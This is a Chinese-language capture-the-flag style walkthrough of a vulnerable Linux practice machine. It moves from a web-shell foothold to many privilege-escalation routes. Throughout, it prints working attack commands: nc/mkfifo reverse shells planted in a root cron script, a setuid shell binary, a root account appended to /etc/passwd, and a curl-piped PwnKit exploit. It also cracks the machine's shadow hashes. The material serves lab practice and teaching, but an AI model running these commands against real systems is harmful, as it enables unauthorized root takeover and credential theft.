該靶機提供以下提權漏洞可供練習
- 12+ ways of Privilege Escalation
- Vertical Privilege Escalation
- Horizontal Privilege Escalation
- Multi-level Privilege Escalation
拿下shell取得立足點
- Netdiscover掃描網段發現目標主機192.168.0.111
- nmap 目標主機發現有web服務和NFS
- 在web目錄掃描發現shell.php
- 訪問 http://192.168.0.111/shell.php 返回 /* pass cmd as get parameter */
- 測試 http://192.168.0.111/shell.php?cmd=whoami 返回user6
- 對cmd參數注入反向shell指令
- 用shell進來後檢查是user6的權限
搜集主機內情報
將LinEnum.sh與PEASS-ng放到目標主機並執行以搜集主機相關信息
以user6身份執行這兩個工具發現以下情報
- 共有8位使用者,分別是user1~user8,其中user4和user7在root群組
- 發現/etc/passwd 可讓root群組內成員寫入
- 使用者目錄下有suid file 分別是 /home/user5/script和/home/user3/shell
- crontab中有root權限執行使用者的腳本 /home/user4/Desktop/autoscript.sh
- nfs的配置不安全,因為使用/home/user5 *(rw,no_root_squash)
- mysql的root密碼為root
- polkit版本發現漏洞CVE-2021-4034
- sudo版本 1.8.21p2有漏洞 CVE-2021-3156
爆力密碼破解提權
把/etc/shadow要破解的內容複制到攻擊機存成passwd.hash,如下
root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1:18050:0:99999:7:::
user1:$6$9iyn/lCu$UxlOZYhhFSAwJ8DPjlrjrl2Wv.Pz9DahMTfwpwlUC5ybyBGpuHToNIIjTqMLGSh0R2Ch4Ij5gkmP0eEH2RJhZ0:18050:0:99999:7:::
user2:$6$7gVE7KgT$ud1VN8OwYCbFveieo4CJQIoMcEgcfKqa24ivRs/MNAmmPeudsz/p3QeCMHj8ULlvSufZmp3TodaWlIFSZCKG5.:18050:0:99999:7:::
user3:$6$PaKeECW4$5yMn9UU4YByCj0LP4QWaGt/S1aG0Zs73EOJXh.Rl0ebjpmsBmuGUwTgBamqCCx7qZ0sWJOuzIqn.GM69aaWJO0:18051:0:99999:7:::
user4:$6$0pxj6KPl$NA5S/2yN3TTJbPypEnsqYe1PrgbfccHntMggLdU2eM5/23dnosIpmD8sRJwI1PyDFgQXH52kYk.bzc6sAVSWm.:18051:0:99999:7:::
user5:$6$wndyaxl9$cOEaymjMiRiljzzaSaFVXD7LFx2OwOxeonEdCW.GszLm77k0d5GpQZzJpcwvufmRndcYatr5ZQESdqbIsOb9n/:18051:0:99999:7:::
user6:$6$Y9wYnrUW$ihpBL4g3GswEay/AqgrKzv1n8uKhWiBNlhdKm6DdX7WtDZcUbh/5w/tQELa3LtiyTFwsLsWXubsSCfzRcao1u/:18051:0:99999:7:::
mysql:$6$O2ymBAYF$NZDtY392guzYrveKnoISea6oQpv87OpEjEef5KkEUqvtOAjZ2i1UPbkrfmrHG/IonKdnYEec0S0ZBcQFZ.sno/:18053:0:99999:7:::
user7:$6$5RBuOGFi$eJrQ4/xf2z/3pG43UkkoE35Jb0BIl7AW/umj1Xa7eykmalVKiRKJ4w3vFEOEOtYinnkIRa.89dXtGQXdH.Rdy0:18052:0:99999:7:::
user8:$6$fdtulQ7i$G9THW4j6kUy4bXlf7C/0XQtntw123LRVRfIkJ6akDLPHIqB5PJLD4AEyz7wXsEhMc2XC4CqiTxATfb20xWaXP.:18052:0:99999:7:::
使用john爆破取得root密碼為12345,其他密碼太長破解較久
# john passwd.hash
Loaded 10 password hashed with 10 different salts ...omit...
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
12345 [root]
suid提權
在user6中列出可以用SUID執行的指令,發現在有非系統內建指令/home/user3/shell
user6$ find / -perm -u=s -type f 2>/dev/null
...omit...
/home/user3/shell
...omit...
直接執行/home/user3/shell可提權
user6$ cd /home/user3
user6$ ./shell
welcome to Linux Lite 4.4
You are running in superuser mode, be very careful,
...omit...
環境變量提權
在user6中列出可以用root執行的指令,發現在有非系統內建指令/home/user5/script
user6$ find / -perm -u=s -type f 2>/dev/null
...omit...
/home/user5/script
...omit...
執行 /home/user5/script 會有ls的效果,因此這個腳本是用root權限執行ls命令
因此只要把/tmp/ls的運作改為執行shell,在把/tmp/ls加入PATH變數的第一個目錄,只要執行ls時就會優先執行/tmp/ls,然後就會執行shell
user6$ echo "/bin/bash" > /tmp/ls
user6$ chmod 777 /tmp/ls
user6$ export PATH=/tmp:$PATH
user6$ echo $PATH
/tmp:/user/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
user6$ /home/user5/script
welcome to Linux Lite 4.4
You are running in superuser mode, be very careful,
...omit...
NFS提權
在目標主機發現nfs配置不當可導致直接提權,默認遠程root用戶連接NFS會分配nfsnobody的小權限用戶,但如果啟用no_root_squash選項則為遠程用戶授予root權限
user6$ cat /etc/exports
...omit...
/home/user5 *(rw,no_root_squash)
...omit...
在攻擊機,掛載遠程目標主機NFS到本地
attacker:/# mount -t nfs 192.168.0.111:/home/user5/ /mnt -o nolock
attacker:/# cd /mnt
attacker:/mnt#
建立suid-shell.c內容如下
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() { setuid(0); system("/bin/bash"); return 0; }
執行編譯指令gcc suid-shell.c -o suid-shell
並給suid權限chmod +s suid-shell
回到目標主機,執行suid-shell,即可取得root權限的shell
user6$ /home/user5/suid-shell
welcome to Linux Lite 4.4
You are running in superuser mode, be very careful,
...omit...
另一種方法是複制bin/sh到掛載的目錄,但有些人執行失敗
attacker:/mnt# cp /bin/sh rootsh
attacker:/mnt# chown root:root rootsh
attacker:/mnt# chmod 4755 rootsh
mysql取得敏感信息
由於己知mysql密碼為root,因此可以直接登入,並在user_info表中發現mysql的密碼
mysql> use user;
mysql> select * from user_info;
+-----------+-------------+
| usernmame | password |
+-----------+-------------+
| mysql | mysql@12345 |
+-----------+-------------+
使用數據庫發現的mysql密碼登入目標主機可成功登入
user6$ su mysql
password: mysql@12345
mysql@osboxes:/var/www/html$ whoami
mysql
尋找mysql所屬的文件,發現有個文件很特別.user_informations
mysql@osboxes:/var/www/html$ find / -user mysql
...omit...
---------- 1 mysql mysql 126 Jun 6 2019 .user_informations
...omit...
mysql@osboxes:/var/www/html$ chmod +r .user_informations
mysql@osboxes:/var/www/html$ cat .user_informations
# user2:user2@12345
# user3:user3@12345
# user4:user4@12345
#.user5:user5@12345
# user6:user6@12345
# user7:user7@12345
# user8:user8@12345
打開後發現user2到user8的密碼記錄在裡面
crontab提權
在user4目錄內,有root權限可執行autoscript.sh,但user6無法改autoscript.sh,因此要先登入到user4中
user6$ cat /etc/crontab
# */5 * * * * root /home/user4/Desktop/autoscript.sh
到user4後,將反向shell插入autoscript.sh,每5分鐘就會執行並觸發反向shell
user4$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc xx.xx.xx.xx 1234 >/tmp/f' > /home/user4/Desktop/autoscript.sh
或
user4$ echo "mkfifo /tmp/vnfr; nc 192.168.226.3 8833 0</tmp/vnfr | /bin/sh >/tmp/vnfr 2>&1; rm /tmp/vnfr" > home/user4/Desktop/autoscript.sh
接著只要在xx.xx.xx.xx主機監聽1234 port,就可以取得root權限
# nc -vlp 1234
listening on [any] 1234 ...
connect to [xx.xx.xx.xx] from (UNKNOWN) [1.1.1.1] 56789
whoami
root
sudoers提權 1
登入user8中,在user8發現vi有root權限
$ sudo -l
...omit...
(root) NOPASSWD: /usr/bin/vi
打開vi後輸入:!sh即可獲得root的shell
$ sudo vi
:!sh
#
# whoami
root
#
sudoers提權 2
在user2中,發現可用user1執行各種命令,因此可接管user1
user2$ sudo -l
...omit...
User user2 may run the following commands on osboxes:
(user1) ALL
user2$ sudo -u user1 /bin/bash
welcome to Linux Lite 4.4
user1$
進入user1後發現,可直接用sudo su
提權root
user1$ sudo -l
...omit...
User user1 may run the following commands on osboxes:
(ALL : ALL) ALL
user1$ sudo su
welcome to Linux Lite 4.4
You are running in superuser mode, be very careful.
root#
敏感文件提權
登入user7
在user7中,發現/etc/passwd同組可寫
user7$ ls -l /etc/passwd
# -rw-rw-r-- 1 root root 2648 Jun 5 2019 /etc/passwd
在/etc/group可以看到uer4和user7是root群組
user7$ cat /etc/group
root:x:0:user4,user7
...omit...
雖然user7沒有root權限,但是root群組的,因此可以直接改/etc/passwd
user7$ id
uid=1006(user7) gid=0(root) groups=0(root)
user7$ echo "root7:$(openssl passwd -1 -salt root7 12345):0:0:root:/root:/bin/bash" >> /etc/passwd
user7$ su root7
Password: 12345
welcome to Linux Lite 4.4
You are running in superuser mode, be very careful,
...omit...
漏洞提權pkexec
檢查版本發現有CVE-2021-4034 漏洞,下載漏洞利用工具
# wget xxx/CVE-2021-4034-main.zip > /tmp/CVE-2021-4034-main.zip
unzip CVE-2021-4034-main.zip && cd CVE-2021-4034-main && make && ./cve-2021-4034
whoami
# root
或者也可以參考https://github.com/ly4k/PwnKit
的方法
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
漏洞提權sudo
查詢sudo版本
sudo --version
發現使用不安全的版本 1.8.21.2,可以使用https://github.com/blasty/CVE-2021-3156工具提權,舉例如下
./sudo-hax-me-a-sandwich
參考資料
https://www.cnblogs.com/autopwn/p/13804500.html
https://blog.csdn.net/qq_34801745/article/details/104144580
https://tari.moe/2022/escalate-linux-1.html
https://www.hackingarticles.in/escalate_linux-vulnhub-walkthrough-part-1
Linux提权姿势总结 https://l0n9w4y.cc/posts/29809